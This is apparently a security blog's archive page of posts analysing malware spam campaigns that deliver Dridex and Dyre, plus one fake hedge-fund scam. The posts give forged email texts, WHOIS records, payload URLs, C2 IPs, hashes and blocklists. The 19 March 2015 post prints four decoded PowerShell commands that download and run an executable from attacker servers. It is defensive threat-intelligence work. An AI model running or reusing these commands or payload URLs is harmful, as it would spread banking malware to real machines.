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Showing posts with label Lithuania. Show all posts
Showing posts with label Lithuania. Show all posts

Thursday, 13 April 2017

Malware spam: "Company Documents" / WebFilling@companieshousemail.co.uk and companieshouseemail.co.uk plus others

This spam email does not come from Companies House, but is instead a simple forgery with a malicious attachment:

From:    Companies House [WebFilling@companieshousemail.co.uk]
Date:    13 April 2017 at 11:10
Subject:    Company Documents
Signed by:    companieshousemail.co.uk



CH Logo

Company Documents

This message has been generated in response to the company complaint submitted to Companies House WebFiling service.

Please note: all forms must be answered or the form will be returned.

Service Desk tel +44 (0)303 8097 432 or email enquiries@companieshouse.gov.uk

Note: This email was sent from a notification-only email address which cannot accept incoming email. Please do not reply directly to this message.
 
Companies House 
Crown way
Maindy
Cardiff
CF14 3UZ
Crown Logo



Documents.doc
48K



---

I observed the email coming from the fake domains companieshousemail.co.uk and companieshouseemail.co.uk  but it looks like there may be more. Email is being send from servers in the 94.237.36.0/24 range (Upcloud Ltd, Finland) and I can see other servers set up to do the same thing:

companieshouseemail.co.uk  94.237.36.104
companieshouseemail.co.uk  94.237.36.145
companieshousemail.co.uk  94.237.36.146
companieshousemail.co.uk  94.237.36.147
companieshousesecure.co.uk  94.237.36.150
companieshousesecure.co.uk  94.237.36.151


Blocking email from the entire 94.237.36.0/24 range at least temporarily might be prudent.

The WHOIS details for these indicate they were registered today with presumably fake details, but that the registrar Nominet have somehow "verified".

Registrant:
Charlene hogg

Registrant type:
Unknown

Registrant's address:
37 Maberley Road
London
SE19 2JA
United Kingdom

Data validation:
Nominet was able to match the registrant's name and address against a 3rd party data source on 13-Apr-2017

Registrar:
GoDaddy.com, LLP. [Tag = GODADDY]
URL: http://uk.godaddy.com

Relevant dates:
Registered on: 13-Apr-2017
Expiry date:  13-Apr-2019
Last updated:  13-Apr-2017

Registration status:
Registered until expiry date.

Name servers:
ns29.domaincontrol.com
ns30.domaincontrol.com
All the attachments I have seen are the same with a current detection rate of 6/55. Hybrid Analysis of the document shows it downloading a component from shuswapcomputer.ca/images/banners/bannerlogo.png and a malicious executable %APPDATA%\pnwshqr.exe is dropped with a detection rate of 14/62.

Automated analysis of the binary [1] [2] show potentially malicious traffic going to:

107.181.161.221 (Total Server Solutions, US)
185.25.51.118 (Informacines sistemos ir technologijos UAB aka bacloud,com, Lithuania)


There are probably other destinations too. The payload appears to be Dyre / Dyreza.

Recommended blocklist:
94.237.36.0/24 (temporary email block only)
shuswapcomputer.ca
185.25.51.118
107.181.161.221





Monday, 1 August 2016

Scam: Fanrong Europe Fund / fanrongfund.info / fanrongeuropefund.info / fanrongeuropefund.com

This spam email advertising a "too good to be true" investment is a scam:

From:    Tim Hoffman [letter@612.com]
To:    contact [contact@victimdomain.tld]
Date:    30 July 2016 at 09:26
Subject:    Fanrong Europe Fund – 1 Half 2016 return +32.69%.

Dear Sirs,

Please be informed that the Fanrong Europe Fund reported strong 1 Half 2016 with return +32.69%.

Fanrong Europe Fund is a registered hedge fund that managed by a team of stock market experts that located in Zurich, Switzerland. The Fanrong Europe Fund Strategy is Long/Short Equity. The Fund was launched in April 2014. It is open-ended hedge fund. We are open for new investors.

We welcome you to contact us through our web-site to learn more about investing with us:
www.FanrongFund.info

Kind regards,
Tim Hoffman
e-marketing manager
Fanrong Europe Fund
www.FanrongFund.info


Reply to: marketing@fanrongfund.info

If you do not want to receive this newsletter send an email to: unsubscribe@fanrongfund.info

NOTICE: Your address was obtained from open sources where you were agreed to receive the marketing information from third parties.
I have received two of these emails, one coming from the IPs 188.69.207.57 and 188.69.223.168 which are both allocated to a mobile phone provider in Lithuania (UPDATE: also 188.69.223.54). The website fanrongfund.info was created just a few days ago (28th July 2016) and is registed to the following (presumably fake) registrant:

Registrant ID: JLD4030131633
Registrant Name: James Dean
Registrant Organization:
Registrant Street: Vorstadt 20
Registrant City: Zug
Registrant State/Province:
Registrant Postal Code: 6300
Registrant Country: CH
Registrant Phone: +41.417120101
Registrant Phone Ext:
Registrant Fax:
Registrant Fax Ext:
Registrant Email: jd767@yahoo.com


The site is hosted (apparently) in the British Virgin Islands on an IP allocated to the Public Domain Registry (PDR). It uses nameservers from Russian company AYBHOST.COM.

The website is pretty generic looking and opens with these words of wisdom:

Our main trade approach is:
"Close the position if it runs to loss, and hold it if it runs to profit".

Hans Messner
fund manager "Fanrong Europe Fund"

What next. "Buy low, sell high"? Here are some screenshots in case you see another version of this on your travels:






The "About" page carries this text:
We are the EU-domiciled investment manager with successful experience in stock trade in EU. Our professional assets managers have personal approach to trade with bear and bulls market. We use self-made investment strategy that allows getting the constant positive result in short-term horizon. All investment process is in full accordance with IIS (International Investment Standards) of Fanrong Capital (Hong Kong) (fanrongcapital.com).
Presumably this is copied off an earlier scam site, in this case there is an official warning about that particular firm.

fanrongfund.info appears to have mirrors at:

fanrongeuropefund.info
fanrongeuropefund.com

Both of these are hosted on 46.4.24.196 (Hetzner, Germany). The WHOIS details for those are inconsistent with each other.

fanrongeuropefund.info
Registrant ID: HSM1859139253
Registrant Name: Hans Messner
Registrant Organization: Fanrong Europe Fund
Registrant Street: Leutschenbachstrasse 95
Registrant City: Zurich
Registrant State/Province: Zurich
Registrant Postal Code: 8050
Registrant Country: CH
Registrant Phone: +41.445632589
Registrant Phone Ext:
Registrant Fax:
Registrant Fax Ext:
Registrant Email: info@fanrongeuropefund.info


fanrongeuropefund.com
Registry Registrant ID: Not Available From Registry
Registrant Name: Li Yong
Registrant Organization:
Registrant Street: Schwingerstrasse 9
Registrant City: Zurich
Registrant State/Province: Zurich
Registrant Postal Code: 8006
Registrant Country: CH
Registrant Phone: +41.442289632
Registrant Phone Ext:
Registrant Fax:
Registrant Fax Ext:
Registrant Email: info@fanrongeuropefund.com


For completeness, the domain fanrongcapital.com is hosted on 5.100.152.26  (the same block as fanrongfund.info) and this particular corporation seems to be using a free email address..

Registry Registrant ID: Not Available From Registry
Registrant Name: Wei Zhang
Registrant Organization: Fanrong Capital
Registrant Street: 20F, 1 Harbor View Street
Registrant City: Hong Kong
Registrant State/Province: Hong Kong
Registrant Postal Code: 111000
Registrant Country: HK
Registrant Phone: +852.58085536
Registrant Phone Ext:
Registrant Fax:
Registrant Fax Ext:
Registrant Email: fanrongcapital@yahoo.com


Nothing about this offer is legitimate. Avoid it, or if you have invested money in this fictitious firm then you should contact the police immediately.

Monday, 6 July 2015

Malware spam: "Statement as at 30/06/2015" / "Manchester Accounts [manchester.accounts@hobsrepro.com]" / "blogdynamoocom.exe"

This fake financial spam does not come from Hobs Reprographics plc but instead is a simple forgery with a malicious attachment. The malware also rather cheekily includes a reference to this blog. Привет, ребята!

From:    Manchester Accounts [manchester.accounts@hobsrepro.com]
Date:    6 July 2015 at 07:10
Subject:    Statement as at 30/06/2015

Please find attached statement from HOBS REPROGRAPHICS PLC as at
30/06/2015.

Please note that our payment terms are 30 days.

So far I have only seen one sample, with an attachment named ELLE013006.doc [VT 4/54] which contains this malicious macro [pastebin] which downloads a malicious executable from:

ozelduzensurucukursu.com/253/632.exe

Well, it would do, but in the sample I have there's a syntax error in the URL..

There are usually several versions of the document, probably some of the others work OK. The executable is saved as %TEMP%\blogdynamoocom.exe (see what they did there?) and has a VirusTotal detection rate of 1/50. Automated analysis tools [1] [2] [3] indicates that the malware phones home to:

62.210.214.106 (OVH, France)
93.89.224.97 (Isimtescil, Cyprus)
87.236.215.151 (OneGbits, Lithuania)


The payload to this is almost definitely the Dridex banking trojan.

Recommended blocklist:
62.210.214.106
93.89.224.97
87.236.215.151


MD5:
9daf4c0bca8fbba53517fdab1ef4e16d
1a468423fc391c90a6e4d6c0dbbc085f



Monday, 29 June 2015

Malware spam: "CEF Documents" / "Dawn.Sandel@cef.co.uk" / "Dawn Sandel"

This fake financial spam does not come from City Electrical Factors but is instead a simple forgery with a malicious attachment.

From: "Dawn.Sandel@cef.co.uk" [Dawn.Sandel@cef.co.uk]
Subject: CEF Documents
Date: Mon, 29 Jun 2015 13:48:27 +0300


Please find attached the following documents issued by City Electrical Factors:

Invoice - BLA/176035 - DUCHMAID

If you have any problems or questions about these documents then please do not hesitate to contact us.

Regards,
Dawn Sandel
Phone: 01282 698 112
Fax: 01282 696 818


Dawn Sandel
Group Office
Nelson & Northwest Region

City Electrical Factors Limited
Tel: 01282 698 112  Fax: 01282 696 818
11 Kenyon Road, Lomeshaye Industrial Estate, Nelson, BB9 5SPv

The attachment is BLA176035.doc which contains a malicious macro. So far I have seen two different versions (Analysed here by Payload Security's Hybrid Analysis [1] [2]) which download a binary from one of the following locations:

dev.seasonsbounty.com/543/786.exe
cbebay.com/543/786.exe


This executable has a detection rate of 11/55. Those analyses show the samples phoning home to the following IPs:

78.47.139.58 (Hetzner, Germany)
87.236.215.151 (OneGbits, Lithuania)
91.121.173.193 (OVH, France)
183.81.166.5 (IP ServerOne, Malaysia)

The payload is probably Dridex, but I was not able to get a copy of the DLL.

Recommended blocklist:
78.47.139.58
87.236.215.151
91.121.173.193
183.81.166.5

MD5s:
65520ecd513c8b8b75f601aa2e69aeef
6bb2b8dc2129ad62ba459797c8544ff3
1396d0cb86bd400f7e364d583958ac33

Friday, 26 June 2015

Malware spam: "Order Confirmation RET-385236 250615" / "donotreply@royal-canin.fr"

This fake financial spam comes with a malicious payload:

From: [1NAV PROD RCS] [mailto:donotreply@royal-canin.fr]
Subject: Order Confirmation RET-385236 250615

Please find attached your Sales Order Confirmation

Note: This e-mail was sent from a notification only e-mail address that
cannot accept incoming e-mail. PLEASE DO NOT REPLY TO THIS MESSAGE.

In the sample I have seen, the attachment is called Order Confirmation RET-385236 250615.doc which contains this malicious macro [pastebin] which downloads a component from the following location:

http://colchester-institute.com/708/346.exe

Usually there are several different version of the macro, each one loading an identical binary but from different locations. This file is saved as %TEMP%\biksenpd.exe and has a VirusTotal detection rate of 7/55.

According to various automated analysis tools, the sample doesn't seem to run properly [1] [2] [3] [4] but it looks like it tries to send traffic to the following IPs:

68.169.49.213 (Strategic Systems Consulting, US)
87.236.215.151 (OneGbits, Lithuania)
2.185.181.155 (ASDL Subscriber, Iran)


Recommended blocklist:
68.169.49.213
87.236.215.151
2.185.181.155

Thursday, 21 May 2015

Malware spam: "Invoice# 2976361 Attached" / "PGOMEZ@polyair.co.uk"

So far I have only seen one sample of this. The sender and subject may vary.
From:    PGOMEZ@polyair.co.uk
Date:    21 May 2015 at 08:58
Subject:    Invoice# 2976361 Attached

Invoice Attached - please confirm..


This transmission may contain information that is privileged and strictly confidential.  If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is STRICTLY PROHIBITED.

If you received this transmission in error, please contact the sender and delete the material from any computer immediately.  Thank you.

Attached is a malicious file with the no-very-imaginative name 00001.doc [VT 4/56] which contains this malicious macro [pastebin] that downloads a component from the following location:

http://mercury.powerweave.com/72/11.exe

This download site is hosted on 50.97.147.195 (Softlayer Technologies, US / Powerweave Software Services, India), although be aware that other versions of the macro may download from other locations. This file is saved as %TEMP%\ribasiml.exe and has a VirusTotal detection rate of 5/57.

Automated analysis tools [1] [2] [3] [4] show attempted communications with the following IPs:

78.24.218.186 (TheFirst-RU, Russia)
78.46.60.131 (Hetzner, Germany)
87.236.215.151 (OneGbits, Lithuania)
94.242.58.146 (Fishnet Communications, Russia)
130.208.166.65 (The University of Iceland, Iceland)
176.31.28.250 (OVH, France / Bitweb LLC, Russia)
185.12.95.191 (RuWeb, Russia)


The Malwr report shows that it drops a Dridex DLL with a detection rate of 4/57.

Recommended blocklist:
78.46.60.131
87.236.215.151
94.242.58.146
130.208.166.65
176.31.28.250
185.12.95.191
50.97.147.195

MD5s:
f5aee45ce06f6d9f9210ae28545a14c6
56305283d26e66b81afcbcb6f0e9b9b4
015cc26b738d313e5e7aba0c9114670e

Thursday, 23 April 2015

Malware spam: "Refund on order 204-2374256-3787503" / "Amazon.co.uk [payments-messages@amazon.co.uk]"

This fake Amazon spam comes with a malicious attachment:

From:    Amazon.co.uk [payments-messages@amazon.co.uk]
Reply-To:    "Amazon.co.uk" [payments-messages@amazon.co.uk]
Date:    23 April 2015 at 09:58
Subject:    Refund on order 204-2374256-3787503

Dear Customer,

Greetings from Amazon.co.uk.

We are writing to confirm that we are processing your refund in the amount of £4.89 for your
Order 204-2374256-3787503.

This amount has been credited to your payment method and will appear when your bank has processed it.

This refund is for the following item(s):

Item: Beautiful Bitch
Quantity: 1
ASIN: 1476754144
Reason for refund: Customer return

The following is the breakdown of your refund for this item:

Item Refund: £4.89

Your refund is being credited as follows:

GC: £4.89

These amounts will be returned to your payment methods within 5 business days.

The amount credited to your Gift Card balance should be automatically applied to your next eligible
order on our website.

Have an issue with your refund, or a question about our refund policy?
Visit our Help section for more information:

http://www.amazon.co.uk/gp/help/customer/display.html?nodeId=1161010

Please note: The credit note for this transaction is attached to this e-mail and to open, you will
need Adobe Reader. If you do not have an Adobe Reader, please visit the following link to download
it: http://get.adobe.com/reader/

This credit note is the detailed breakdown of the refund showing the item(s), delivery costs and
associated VAT for each item. This credit note is largely applicable to business customers who
should retain it for accounting purposes. It’s not possible to redeem or use the credit
note number from this credit note towards an order. Visit our Help pages for more information on
refunds.

Thank you for shopping at Amazon.co.uk.

Sincerely,

Amazon.co.uk Customer Service
http://www.amazon.co.uk


Note: this e-mail was sent from a notification-only e-mail address that cannot accept incoming e-mail.
Please do not reply to this message.

An advanced electronic signature has been attached to this electronic credit note. To add the certificate
as a trusted certificate, please follow these instructions:
1. Click on the 'Signature Panel' in the upper right corner
2. Expand the drop-down in the newly opened Signatures menu, expand the 'Signature Details' drop-down and
   click 'Certificate Details'
3. In the Certificate Viewer box click on the 'Trust' tab, click 'Add To Trusted Certificates' and then
   click OK
4. In the Import Contact Settings box, ensure that 'Use this certificate as a trusted root' is selected,
   click OK, and then click OK again


Attached is a file 204-2374256-3787503-credit-note.doc which probably comes in several versions, however the one I analysed had a detection rate of 4/57 and contained this malicious macro [pastebin] which downloads a component from:

http://qube.co.il/42/335.exe

..which is saved as %TEMP%\pierre3.exe and which currently has a detection rate of 3/42 (42?). Automated analysis tools [1] [2] [3] [4] indicate that it calls out to the following IPs:

185.12.95.191 (RuWeb CJSC, Russia)
87.236.215.151 (OneGbits, Lithuania)
94.23.171.198 (OVH, Czech Republic)
185.35.77.250 (Corgi Tech, UK)
149.154.64.70 (TheFirst-RU, Russia)

The Malwr report says that it drops a Dridex DLL which currently has a detection rate of 17/56.

Recommended blocklist:
185.12.95.191
87.236.215.151
94.23.171.198
185.35.77.250
149.154.64.70

MD5s:
e52a8d15ee08d7f8b4efca1b16daaefb
57b54e248588af284871c2076f05651c
ca5c5b79ce16d888ba2a6747b9d033d3


Tuesday, 14 April 2015

Malware spam: "Kairen Varker [mailto:kvarker@notifications.kashflow.com]" / "Invoice from"

This fake invoice has a malicious attachment:
From: Kairen Varker [mailto:kvarker@notifications.kashflow.com] On Behalf Of Kairen Varker
Sent: Tuesday, April 14, 2015 9:26 AM
Subject: Invoice from

I have made the changes need and the site is now mobile ready . Invoice is attached
In this case the attachment is called Invoice-83230.xls which is currently undetected by AV vendors. It contains this malicious macro [pastebin] which downloads a component from the following location (although there are probably more than this):

http://925balibeads.com/94/053.exe

This is saved as %TEMP%\stepk1.5a.exe and has a VirusTotal detection rate of 3/57. Automated analysis tools [1] [2] [3] [4] shows the malware phoning home to:

78.24.218.186 (TheFirst-RU, Russia)
176.67.160.187 (UK2, UK)
87.236.215.151 (OneGbits, Lithuania)
154.69.104.137 (Sandton Telkom, South Africa)
107.191.46.222 (Vultr Holdings / Choopa LLC, Canada)
94.23.171.198 (OVH, Czech Republic)
74.119.194.18 (RuWeb Corp, US)
37.140.199.100 (Reg.Ru Hosting, RUssia)
89.28.83.228 (StarNet SRL, Moldova)

The Malwr report shows that among other files it drops a malicious Dridex DLL with a detection rate of 2/57.

Recommended blocklist:
78.24.218.186
184.25.56.188
176.67.160.187
87.236.215.151
154.69.104.137
107.191.46.222
94.23.171.198
74.119.194.18
37.140.199.100
89.28.83.228

MD5s:
e46dcc4a49547b547f357a948337b929
1748fc9c5c0587373bf15a6bda380543
1e010195d2e5f6096095078482624995

Tuesday, 31 March 2015

Malware spam: "Your PO: SP14619" / "Sam S. [sales@alicorp.com]"

This fake financial spam comes with a malicious attachment:

From:    Sam S. [sales@alicorp.com]
Date:    31 March 2015 at 07:45
Subject:    Your PO: SP14619

Your PO No: SP14619 for a total of $ 13,607.46
has been sent to New Era Contract Sales Inc. today.

A copy of the document is attached

Regards,
New Era Contract Sales Inc.'s Document Exchange Team
In the sample I have seen, the attachment is APIPO1.doc with a VirusTotal detection rate of 5/56, and it contains this malicious macro [pastebin] which downloads a component from:

http://xianshabuchang.com/54/78.exe

which is saved as %TEMP%\kkaddap7b.exe. This malicious executable has a detection rate of 3/56. Various analysis tools [1] [2] [3] show that it phones home to the following IPs:

91.230.60.219 (Docker Ltd / ArtVisio Ltd, Russia)
185.91.175.39 (Webstyle Group LLC / Rohoster / MnogoByte, Russia)
46.101.38.178 (Digital Ocean, Netherlands)
87.236.215.103 (OneGbits, Lithuania)
66.110.179.66 (Microtech Tel, US)
176.108.1.17 (Cadr-TV LLE TVRC, Ukraine)
202.44.54.5 (World Internetwork Corporation, Thailand)
128.199.203.165 (DigitalOcean Cloud, Singapore)

According to the Malwr report it drops another version of itself called edg1.exe [VT 2/56] and what appears to be a Dridex DLL [VT 3/56].

Recommended blocklist:
91.230.60.0/24
185.91.175.0/24
46.101.38.178
87.236.215.103
66.110.179.66
176.108.1.17
202.44.54.5
128.199.203.165

MD5s:
f5ecc500c2b74612e33c0522104fb999
716d1dc7285b017c2dbc146dbb2e319c
2cb0f18ba030c1ab0ed375e4ce9c0342
6218264a6677a37f7e98d8c8bd2c13e9

UPDATE:
A couple of reports from Payload Security [1] [2]  also give some insight into the malware, including an additional but well-known IP to block:

95.163.121.178 (Digital Networks CJSC aka DINETHOSTING, Russia)



Thursday, 19 March 2015

Malware spam: "Aspiring Solicitors Debt Collection" has mystery XML attachment

This spam has a malicious attachment.

Date:    19 March 2015 at 12:52
Subject:    Aspiring Solicitors Debt Collection

Aspiring Solicitors

Ref : 195404544
Date : 02.10.2014
Dear Sir, Madam
Re: Our Client Bank of Scotland PLC
Account Number:77666612
Balance:       2,345.00
We are instructed by Bank of Scotland PLC in relation to the above matter.

You are required to pay the balance of GBP 2,345.00 in full within 7(seven) days from the date of this email to avoid Country Court proceedings being issued against you. Once proceedings have been issued, you will be liable for court fees and solicitors costs detailed below.

Court Fees  GBP 245.00

Solicitors Costs  GBP 750.00

Cheques or Postal Orders should be  made payable to Bank of Scotland PLC and sent to the address in attachment below quoting the above account number.
We are instructed by our Client that they can accept payment by either Debit or Credit Card.If you wish to make a payment in this wa, then please contact us with your Card details. We will then pass these details on to our Client in order that they may process your agreed payment. Kindly note that any payment made will be shown on your Bank and/or Credit Card Statement as being made to Bank of Scotland PLC
If you have any queries regarding this matter or have a genuine reason for non payment, you should contact us within 7 days from the date of this email to avoid legal proceedings being issued against you, by filling the contact us form in attachment below.

Yours faithfully,
Shawn Ballard
Aspiring Solicitors

Department CCD, Box 449
Upper Ground Floor
1-5 Queens Road Quadrant
Brighton
BN1 3XJ
United Kingdom
Attached is a file with a random numerical name (e.g. 802186031.doc) which is in fact a malicious XML file that appears to drop the Dridex banking trojan. Indication are that this can run even with macros disabled. Each attachment has a unique MD5.

Analysis is currently pending, this appears to have several new techniques to avoid detection. According to this Twitter conversation one version attempts to download a binary from 91.226.93.51/smoozy/shake.exe although this is currently timing out for me. For security analysts, a sample of the XML file can be found here.

IMPORTANT: if you have opened this document in Word then there is a good chance that you are infected. I would recommend that you shut down any machine that has opened this. Anti-virus detections are currently very poor, but vendors may have signature available soon, I would wait 24 hours before attempting to disinfect any infected machine. Dridex collects banking passwords, so it is important that machines are not used for financial transactions.

UPDATE:

This particular attack uses some novel features. Opening the Word document reveals what appears to be an embedded XLS file:

There's some interesting metadata.. created by "Dredex" of "Ph0enix Team", then modified by "ПРроываААА".


In the typical attack scenario, opening the embedded file will force the macro to run. In this case, I used LibreOffice on a Linux box which does not support VBA. This revealed the malicious code, which looks like this.

A bit of copy-and-pasting reveals nothing more sophisticated than some Base 64 encoded text that attempts to run one of the following commands:
cmd /K powershell.exe -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('http://193.26.217.199/smoozy/shake.exe','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K powershell.exe -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('http://91.226.93.51/smoozy/shake.exe','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K powershell.exe -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('http://91.227.18.76/smoozy/shake.exe','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K powershell.exe -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('http://176.31.28.244/smoozy/shake.exe','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;
FYI, those IPs are allocated as follows:

193.26.217.199 (Servachok Ltd, Russia)
91.226.93.51 (Sobis OOO, Russia)
91.227.18.76 (Eximius LLC, Russia)
176.31.28.244 (OVH, France / Bitweb LLC, Russia)

"shake.exe" has a VirusTotal detection rate of 3/57. Between that VirusTotal report and this Malwr report we can see the malware attempting to connect to:

95.163.121.33 (Digital Networks aka DINETHOSTING, Russia)
87.236.215.105 (OneGbits, Lithuania)
31.160.233.212 (KPN Zakelijk Internet, Netherlands)

Further analysis is pending.

Recommended blocklist:
193.26.217.199
91.226.93.51
91.227.18.76
176.31.28.244
95.163.121.0/24
87.236.215.105
31.160.233.212





Wednesday, 11 March 2015

Malware spam: Message from "RNP0026735991E2" / "inv.09.03"

This pair of spam emails are closely related and have a malicious attachment:

From:    admin.scanner@victimdomain
Date:    11 March 2015 at 08:49
Subject:    Message from "RNP0026735991E2"

This E-mail was sent from "RNP0026735991E2" (MP C305).

Scan Date: 11.03.2015 08:57:25 (+0100)
Queries to: admin.scanner@victimdomain

Attachment: 201503071457.xls
----------

From:    Jora Service [jora.service@yahoo.com]
Date:    11 March 2015 at 09:27
Subject:    inv.09.03

Attachment: INV 86-09.03.2015.xls

Neither XLS attachment is currently detected by AV vendors [1] [2] and they contain two related but slightly different macros [1] [2] which download a component from the following locations:

http://koschudu.homepage.t-online.de/js/bin.exe
http://03404eb.netsolhost.com/js/bin.exe

The file is then saved as %TEMP%\fJChjfgD675eDTU.exe  which has a VirusTotal detection rate of 3/57. According to this Malwr report, it attempts to connect to the following IPs:

188.225.77.216 (TimeWeb Co. Ltd, Russia)
42.117.1.88 (FPT Telecom Company, Vietnam)
31.41.45.211 (Relink Ltd, Russia)
87.236.215.103 (OneGbits, Lithuania)
104.232.32.119 (Net3, US)
188.120.243.159 (TheFirst.RU, Russia)

It also drops a couple more malicious binaries with the following MD5s:

8d3a1903358c5f3700ffde113b93dea6 [VT 2/56]
53ba28120a193e53fa09b057cc1cbfa2 [VT 4/57]

Recommended blocklist:
188.225.77.216
42.117.1.88
31.41.45.211
87.236.215.103
104.232.32.119
188.120.243.159

Friday, 6 March 2015

Malware spam: "Mick George Invoice 395687" / "Mick George Invoicing [mginv@mickgeorge.co.uk]"

This malformed spam is meant to have a malicious attachment:

From:    Mick George Invoicing [mginv@mickgeorge.co.uk]
Date:    6 March 2015 at 09:29
Subject:    Mick George Invoice 395687


Please find attached a copy of your invoice 395687.

If you have any queries regarding the invoice, please do not hesitate to co=
ntact us by emailing mginv@mickgeorge.co.uk<mailto:mginv@mickegeorge.co.uk>=
 or calling our finance department on 01480 499125.

Regards

Finance Team
MICK GEORGE[http://mickgeorgeskips.co.uk/wp-content/uploads/2014/08/image00=
1.jpg] (r)
T: 01480 499125
F: 01480 498077
www.mickgeorge.co.uk<http://www.mickgeorge.co.uk/>

Lancaster House, Meadow Lane, St Ives, Cambs, PE27 4YQ  [http://mickgeorges=
kips.co.uk/wp-content/uploads/2014/08/image003.jpg] <https://plus.google.co=
m/109160871896788819541/posts>    [http://mickgeorgeskips.co.uk/wp-content/=
uploads/2014/08/image004.jpg] <https://twitter.com/mickgeorgeltd>

Specialists in Earthworks * Aggregates * Skip Hire * Contaminated Land Serv=
ices & Remediation * Demolition * Contracting

Waste Management & Recycling * Landfill & Tipping Facilities * Asbestos Rem=
oval * Ready Mix Concrete & Floor Screeds

[Concrete signature]<http://mickgeorgeskips.co.uk/wp-content/uploads/2014/0=
8/Concrete-signature.jpg>

Disclaimer

This email and any attachments are intended only for the use of the individ=
ual or entity to which it is directed and may contain information that is p=
rivileged, confidential and exempt from disclosure under applicable law.

If you have received this email and you are not the intended recipient or t=
he employee or agent responsible for delivering this email to the intended =
recipient, please inform Mick George on +44 (0)1480 498099 and then delete =
the email from your system. If you are not a named addressee you must not u=
se, disclose, disseminate, distribute, copy, print or reply to this email.

Although Mick George Ltd routinely screens for viruses, addressees should s=
can this email and any attachments for viruses. Mick George Ltd makes no re=
presentation or warranty as to the absence of viruses in this email or any =
attachments. Please note for the protection of our clients and business, we=
 may monitor and read emails sent to and from our server(s).

Mick George Ltd
Something has gone wrong with the formatting, it is meant to look like this:
Please find attached a copy of your invoice 395687.
If you have any queries regarding the invoice, please do not hesitate to contact us by emailing mginv@mickgeorge.co.uk or calling our finance department on 01480 499125.
Regards
Finance Team
MICK GEORGE ®

T: 01480 499125
F: 01480 498077
www.mickgeorge.co.uk

Lancaster House, Meadow Lane, St Ives, Cambs, PE27 4YQ
Specialists in Earthworks • Aggregates • Skip Hire • Contaminated Land Services & Remediation • Demolition • Contracting
Waste Management & Recycling • Landfill & Tipping Facilities • Asbestos Removal • Ready Mix Concrete & Floor Screeds
Concrete signature
Disclaimer
This email and any attachments are intended only for the use of the individual or entity to which it is directed and may contain information that is privileged, confidential and exempt from disclosure under applicable law.
If you have received this email and you are not the intended recipient or the employee or agent responsible for delivering this email to the intended recipient, please inform Mick George on +44 (0)1480 498099 and then delete the email from your system. If you are not a named addressee you must not use, disclose, disseminate, distribute, copy, print or reply to this email.
Although Mick George Ltd routinely screens for viruses, addressees should scan this email and any attachments for viruses. Mick George Ltd makes no representation or warranty as to the absence of viruses in this email or any attachments. Please note for the protection of our clients and business, we may monitor and read emails sent to and from our server(s).
Mick George Ltd
Registered no. 2417831 (England)

The email looks like a genuine email because it has been copied from a genuine email from this company, but Mick George Skips are not actually sending this out. Instead it is a simple forgery.

What you are meant to have attached is a Word document Invoice395687.DOC which comes in several varieties, but they all contain a malicious macro similar to this which (in this case) downloads a component from http://schlaghaufer.de/js/bin.exe

This malware and the payload it drops is identical to the one found in this fake IRS spam run earlier today.

Malware spam: "Your 2015 Electronic IP Pin!" / "Internal Revenue Service [refund.noreply@irs.gov]"

This fake IRS email comes with a malicious attachment.

From:    Internal Revenue Service [refund.noreply@irs.gov]
Date:    6 March 2015 at 08:48
Subject:    Your 2015 Electronic IP Pin!

Dear Member

This is to inform you that our system has generated your new secured Electronic PIN to e-file your 2014 tax return.

Please kindly download the microsoft file to securely review it.

Thanks

Internal Revenue Service
915 Second Avenue, MS W180

So far I have only seen a single sample of this with an attachment TaxReport(IP_PIN).doc - although there are usually several different versions. Currently this is undetected by AV vendors. This contains a malicious macro [pastebin] which downloads a component from the following location:

http://chihoiphunumos.ru/js/bin.exe

There are probably other download locations, but the payload will be the same. This is saved as %TEMP%\324235235.exe and has a detection rate of 1/55. Automated analysis tools [1] [2] show attempted connections to:

92.63.87.13 (MWTV, Latvia)
95.163.121.200 (Digital Networks CJSC aka DINETHOSTING, Russia)
104.232.32.119 (Net3, US)
87.236.215.103 (OneGbits, Lithunia)

According to the Malwr report this executable drops another version of itself [VT 1/56] and a malicious DLL [VT 2/56].

Recommended blocklist:
92.63.82.0/23
92.63.84.0/22
92.63.88.0/24
95.163.121.0/24
104.232.32.119
87.236.215.103

Wednesday, 4 March 2015

Malware spam: "John Donald [john@kingfishermanagement.uk.com]" / "Document1"

This rather terse email comes with a malicious attachment:
From:    John Donald [john@kingfishermanagement.uk.com]
Date:    4 March 2015 at 09:09
Subject:    Document1
There is no body text, but there is an attachment Document1.doc which is not currently detected by AV vendors, in turn it contains this malicious macro [pastebin] which downloads another component from the following location:

http://retro-moto.cba.pl/js/bin.exe

Note that there may be other different versions of this document with different download locations, but it should be an identical binary that is downloaded. This file is saved as %TEMP%\GHjkdjfgjkGKJ.exe and has a VirusTotal detection rate of 2/57.

Automated analysis tools [1] [2] show attempted network traffic to the following IPs:

92.63.87.13 (MWTV, Latvia)
104.232.32.119 (Net3, US)
87.236.215.103 (OneGbits, Lithunia)
108.61.198.33 (Gameservers.com / Choopa LLC, Netherlands)

According to the Malwr report it also drops another version of itself with a detection rate of just 1/57 plus a DLL with a detection rate of 7/56.

Recommended blocklist:
92.63.82.0/23
92.63.84.0/22
92.63.88.0/24
104.232.32.119
87.236.215.103
108.61.198.33

Tuesday, 6 August 2013

Pharma sites to block 6/8/13

A new list of pharma sites and IPs, related to this bunch.

61.150.109.186 (China Telecom, China)
91.199.149.238 (Novosibirsk A3 Ltd, Russia)
91.199.149.239 (Novosibirsk A3 Ltd, Russia)
91.204.162.81 (Network Communication, Poland)
91.204.162.96 (Network Communication, Poland)
